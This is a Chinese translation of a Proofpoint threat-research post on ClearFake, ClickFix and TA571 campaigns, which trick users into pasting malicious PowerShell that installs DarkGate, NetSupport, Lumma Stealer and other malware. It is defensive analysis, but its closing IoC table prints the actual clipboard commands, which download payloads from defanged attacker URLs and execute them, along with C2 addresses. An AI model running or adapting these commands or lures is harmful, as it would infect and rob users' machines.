翻译:https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn
关键发现
- Proofpoint的研究人员发现了一种越来越流行的技术,该技术通过巧妙的社会工程手段诱导用户运行PowerShell并安装恶意软件。
- 研究人员注意到,威胁行为者TA571和ClearFake活动集群都采用了这种手法。
- 尽管这种攻击手法需要用户的大量交互才能成功,但其社会工程策略足够高明,能够同时向用户展示一个看似真实存在的问题及其解决方案,这可能会让用户在未充分评估风险的情况下,不知不觉地点击了恶意程序提供的选项。
概述
Proofpoint 观察到一种利用独特社交工程技术的增加,该技术引导用户复制并粘贴恶意PowerShell脚本,以便通过恶意软件感染他们的计算机。包括使用初级访问代理的TA571在内的威胁行为者以及至少一个使用假冒更新活动组正在使用这种方法来传播包括DarkGate、Matanbuchus、NetSupport和各种信息窃取器在内的恶意软件。
不论是通过垃圾邮件发起的攻击还是通过Web浏览器注入的方式,技术手法都是相似的。用户会看到一个弹出提示框,提示在尝试打开文档或网页时发生了错误,并指导用户将恶意脚本复制粘贴到PowerShell终端或Windows运行对话框中,最终通过PowerShell执行脚本。
Proofpoint最早在2024年3月1日通过TA571观察到这种手法,并在4月初在ClearFake集群,以及6月初两个集群都有所观察。
活动细节
ClearFake案例
我们的研究人员首次在4月初的ClearFake活动中发现了这种手法,并且自那以后在每一次ClearFake活动中都观察到了它的使用。ClearFake是一个假冒浏览器更新活动集群,它通过恶意HTML和JavaScript破坏合法网站。
在观察到的活动中,当用户访问被破坏的网站时,注入的代码导致网站通过币安智能链合约加载了托管在区块链上的恶意脚本,这种手法被称为"EtherHiding"。初始脚本随后加载了一个使用Keitaro TDS进行筛选的域中的第二个脚本。如果这个第二个脚本加载并通过了各种检查,并且用户继续浏览网站,他们就会在被破坏的网站上看到一个假冒的警告覆盖层。这个警告误导用户安装一个"根证书",以正确查看网站。
图1:恶意虚假警告指示收件人复制 PowerShell 脚本并在 PowerShell 终端中运行它。 |
消息中包含了点击按钮复制PowerShell脚本的指示,随后提供了在受害者计算机上手动执行该脚本的详细步骤。如果用户按照这些步骤操作,他们实际上是将恶意指令粘贴到PowerShell命令行中执行。
在5月份的攻击活动中,我们观察到了一系列操作:脚本执行了多项任务,包括清空DNS缓存、清空剪贴板内容、向用户展示虚假信息,以及下载并在内存执行远程PowerShell脚本。第二个脚本的主要作用是下载另一个脚本。第三个脚本通过WMI查询系统温度;如果未检测到温度,常见于虚拟环境和沙箱中,脚本将终止执行。如果检测到温度,脚本将继续执行,下载并解密一个名为“data.zip
”的文件,解压后寻找并执行其中的.exe
程序,并向ClearFake的C2服务器报告安装完成。
攻击者利用ZIP文件能够包含可执行文件的特性,捆绑了多个合法且签名的可执行文件,这些文件在安装过程中悄悄加载了一个木马化的DLL。这个DLL使用了DOILoader(也称为 IDAT Loader 或 HijackLoader)加载器,从加密文件中解密并加载了Lumma Stealer恶意软件。
Lumma Stealer不仅执行其主要的盗窃活动,还下载了三个独特的额外负载:
- am.exe – Amadey 加载器,用于加载其他恶意组件。
- ma.exe – 一个下载器,它下载并启动了特别配置的XMRig加密货币挖矿软件。
- cl.exe – 剪贴板劫持者,旨在替换剪贴板中的加密货币地址,其构造是为了导致受害者在进行传输时将加密货币传输到威胁参与者控制的地址而不是预期地址
观察发现,Amadey 恶意软件会下载其他类型的恶意有效载荷,比如被认为是 JaskaGO 的 Go 语言编写的恶意软件。这表示,仅仅启动一个初始的 PowerShell 脚本,就可能激活多达五种不同的恶意软件类别。
图2:ClearFake 攻击链 |
ClickFix事件探秘
2024年四月中旬,研究人员发现了一些网站被植入了恶意代码,这些代码会导向pley[.]es
域名上的一个内联框架(iframe)注入。该iframe表现为一个覆盖页面的错误提示,声称浏览器更新存在问题需要修复。研究人员将这一连串的网络活动命名为“ClickFix
”事件。
图3:2024 年 5 月 11 日的 ClickFix 错误消息 |
一个误导性的错误消息诱使受害者打开“Windows PowerShell (Admin)”,这将触发用户账户控制提示(UAC),并要求他们粘贴并运行恶意代码。如果受害者按照指示操作,这将导致执行一个远程PowerShell脚本,下载并启动Vidar Stealer
恶意软件。然而,在这一恶意行为被发现几天后,用于传递恶意负载的域名已经下线,因此,尽管受感染的网站上显示错误,但它不会导致感染。
几天后,即2024年5月15日,iframe中原本的错误消息被替换成了ClearFake的注入代码。到了6月初,这种注入仍然在被使用。由于pley[.]es
域名似乎已经遭到入侵,目前还不清楚ClearFake和ClickFix这两个活动集群是否开始合作,或者ClearFake的攻击者是否再次入侵了该iframe,并用自己的恶意内容替换了原有代码。
图4:摘自 2024 年 5 月 11 日的自定义 iframe 内容 | 图5:截至 2024 年 6 月 7 日的 iframe 内容 |
TA571 示例
Proofpoint 在 2024 年 3 月 1 日首次监测到网络攻击组织 TA571 采用了一种新的技术手段。在这次行动中,他们发送了超过十万条消息,全球数千个组织成为了他们的攻击目标。
图6:TA571电子邮件诱饵 |
在此活动中,电子邮件包含一个 HTML 附件,其中显示一个类似于 Microsoft Word 的页面。
该页面还显示一条错误消息,指出“未安装‘Word Online’扩展”,并提供了两个继续选项:“如何修复”和“自动修复”。
图7:HTML 附件包含有关如何复制和粘贴导致安装恶意软件的 PowerShell 的说明 |
当用户点击“如何修复”按钮时,一个经过base64编码的PowerShell命令被复制到了剪贴板,随后页面上的提示变更,引导用户打开PowerShell终端并右键点击终端窗口。在终端窗口中点击右键,会粘贴并执行剪贴板中的内容。Proofpoint在这些文件中发现了两种不同的PowerShell命令:一种是下载并执行MSI安装包的命令,另一种是下载并执行VBS脚本的命令。
如果用户点击了“自动修复”按钮,search-ms协议会在Windows资源管理器中展示一个类似的WebDAV托管的“fix.msi”或“fix.vbs”。
执行MSI安装包时,会运行一个名为“Inkpad3.dll”的捆绑DLL,使用系统内置的“msiexec -z
”命令。这个命令会调用DLL中的DllUnregisterServer函数,该函数会释放并执行另一个名为“Inkpad_honeymoon.msp”的DLL。这最终导致了Matanbuchus恶意软件的安装。如果执行了VBS脚本,它会利用PowerShell下载并执行DarkGate恶意软件。
Proofpoint注意到,TA571在整个春季的多场活动中使用了类似的攻击链,利用各种视觉诱饵,并在指示受害者打开PowerShell终端或通过按Windows键+R打开运行对话框之间进行变化。攻击者还刻意避免了提及复制/粘贴的操作,利用了用户不知道剪贴板已复制内容的事实。以下是一些近期的例子:
2024年5月27日,TA571使用了一个HTML附件,看起来像是在OneDrive上托管的文档,并包含了一个伪造的错误信息。
图8:HTML 附件声称是托管在 OneDrive 上的文档,其中包含“如何修复”按钮。 |
当用户点击“如何修复”按钮时,一个PowerShell脚本被复制到了剪贴板,同时给出了运行脚本的用户指南。这一连串的攻击最终会导致安装DarkGate这类恶意软件。
TA571组织在使用PowerShell剪贴板技巧的同时,不断变换其诱饵和攻击手段。2024年5月28日,Proofpoint发现了TA571的一场活动,该活动通过HTML附件传播,并采用了新的误导性错误信息。特别地,这场活动诱使受害者点击“修复”按钮以“安装根证书”,这与ClearFake错误信息中使用的措辞相似。不同于以往,TA571此次要求受害者通过运行对话框而非PowerShell终端来执行恶意脚本。这场活动至少包含了两条不同的命令行,分别运行不同的PowerShell脚本:一条通过下载的HTA文件(该文件又运行了另一个PowerShell脚本)导向DarkGate;另一条则通过下载的ZIP文件导向NetSupport RAT。
为了增加附件的隐蔽性,TA571在大多数活动中还在HTML文件中加入了各种随机内容,制造出半唯一的哈希值。
图9:包含与 ClearFake 类似语言的新 TA571 诱饵示例 |
常见技术手段
无论是通过虚假更新还是HTML附件,恶意的PowerShell/CMD脚本都通过浏览器端的JavaScript复制到剪贴板,这种技术在合法网站上也很常见。恶意内容以多种编码方式隐藏在HTML或网站中,例如双重Base64编码、反向Base64编码或在不同元素和函数中以明文形式存在。由于这些技术的正常用途、存储恶意代码的多种方式,以及受害者手动执行恶意代码而无需与文件直接关联,使得这类威胁难以被检测。鉴于杀毒软件和端点检测响应(EDR)工具在检查剪贴板内容时可能存在困难,需要在恶意HTML或网站呈现给受害者之前进行有效的检测和拦截。
通过PowerShell终端或通过运行对话框让受害者运行恶意代码之间有很多区别。例如,使用PowerShell终端时,用户需要进行更多操作步骤才能打开它。但一旦打开,仅需一次右键点击,代码就会自动粘贴并执行,不会给受害者审阅代码的机会。而使用运行对话框,整个过程可以通过四次点击/按键组合完成:点击按钮,按Ctrl+R打开对话框,按Ctrl+V粘贴代码,按Enter执行代码。然而,这种方法可能会让受害者在看到粘贴的代码时产生疑虑,从而选择取消而不是执行。
归因分析
TA571是一个垃圾邮件分发者,该行为者通过大量电子邮件活动为其网络犯罪客户传递和安装多种恶意软件,具体取决于后续操作者的目标。Proofpoint公司高度确信,TA571的感染行为可能导致勒索软件的传播。
目前,ClearFake并没有被归因于任何已知的威胁行为者。
尽管这两个行为者明显在相互借鉴策略,但Proofpoint并未在其他方面将它们联系起来。
结论
这个攻击链需要用户的高度参与才能成功。虚假错误信息中的社会工程学技巧非常高明,非常像来自操作系统的官方通知。它同时提供了问题和解决方案,诱使用户在不假思索的情况下迅速点击了恶意程序选项。这个攻击链具有独特性,并且与Proofpoint观察到的网络犯罪威胁行为者采用新的、多样化的、越来越有创意的攻击手段的趋势一致——包括改进的社会工程学技巧、嵌套的PowerShell脚本,以及WebDAV和SMB的使用——以实现恶意软件的传播。
组织应该培训用户识别这类活动,并向他们的安全团队报告可疑行为。这是一种非常具体的培训内容,但可以轻松地融入现有的用户培训计划中。
IoC
以下并非详尽的IOC列表,而是在近期活动中观察到的样本。
IoC | 描述 | 观察日期 |
---|---|---|
rechtsanwalt@ra-silberkuhl[.]com | TA571 campaign reply-to email | 28 May 2024 |
9701fec71e5bbec912f69c8ed63ffb6dba21b9cca7e67da5d60a72139c1795d1 | TA571 HTML Attachment Example Hash | 28 May 2024 |
hxxps://cdn3535[.]shop/1[.]zip | TA571 clipboard payload (NetSupport RAT) | 28 May 2024 |
hxxps://lashakhazhalia86dancer[.]com/c[.]txt | TA571 clipboard payload (DarkGate) | 28 May 2024 |
hxxp://languangjob[.]com/pandstvx | TA571 HTA payload (DarkGate) | 28 May 2024 |
hxxp://languangjob[.]com/pandstvx | TA571 PowerShell payload (DarkGate) | 28 May 2024 |
cmd /c start /min powershell invoke-webrequest -uri hxxps://lashakhazhalia86dancer[.]com/c.txt -outfile c:\users\public\default.hta; start-process c:\users\public\default.hta; | TA571 Clipboard to DarkGate | 28 May 2024 |
cmd /c start /min powershell $st='c:\users\public';$om=$st+'\start.zip';$ps=$st+'\client\client32.exe';invoke-webrequest -uri hxxps://cdn3535[.]shop/1.zip -outfile $om;expand-archive $om $st; start-process $ps;Set-Clipboard -Value ' ';exit; | TA571 Clipboard to NetSupport | 28 May 2024 |
07e0c15adc6fcf6096dd5b0b03c20145171c00afe14100468f18f01876457c80 | TA571 HTML Attachment Example Hash | 27 May 2024 |
hxxps://kostumn1[.]ilabserver[.]com/1.zip | TA571 PowerShell Payload URL | 27 May 2024 |
91.222.173[.]113 | DarkGate C2 | 27 May 2024 |
hxxp://mylittlecabbage[.]net/qhsddxna | TA571 Payload URL | 17 May 2024 |
hxxp://mylittlecabbage[.]net/xcdttafq | TA571 Payload URL | 17 May 2024 |
hxxps://jenniferwelsh[.]com/header.png | TA571 Payload URL | 17 May 2024 |
cmd /c start /min powershell $Id = 'c:\users\public\or.hta';invoke-webrequest -uri hxxps://jenniferwelsh[.]com/header.png -outfile $Id;start-process $Id;Set-Clipboard -Value ' ';exit;== | TA571 Clipboard to DarkGate | 17 May 2024 |
mylittlecabbage[.]net | DarkGate C2 | 17 May 2024 |
hxxps://rtattack[.]baqebei1[.]online/df/tt | ClearFake PowerShell Payload | 14 May 2024 |
hxxps://oazevents[.]com/loader[.]html | ClickFix PowerShell Payload URL | 11 May 2024 |
11909c0262563f29d28312baffb7ff027f113512c5a76bab7c5870f348ff778f | TA571 HTML Attachment Example Hash | 1 March 2024 |
参考:
https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16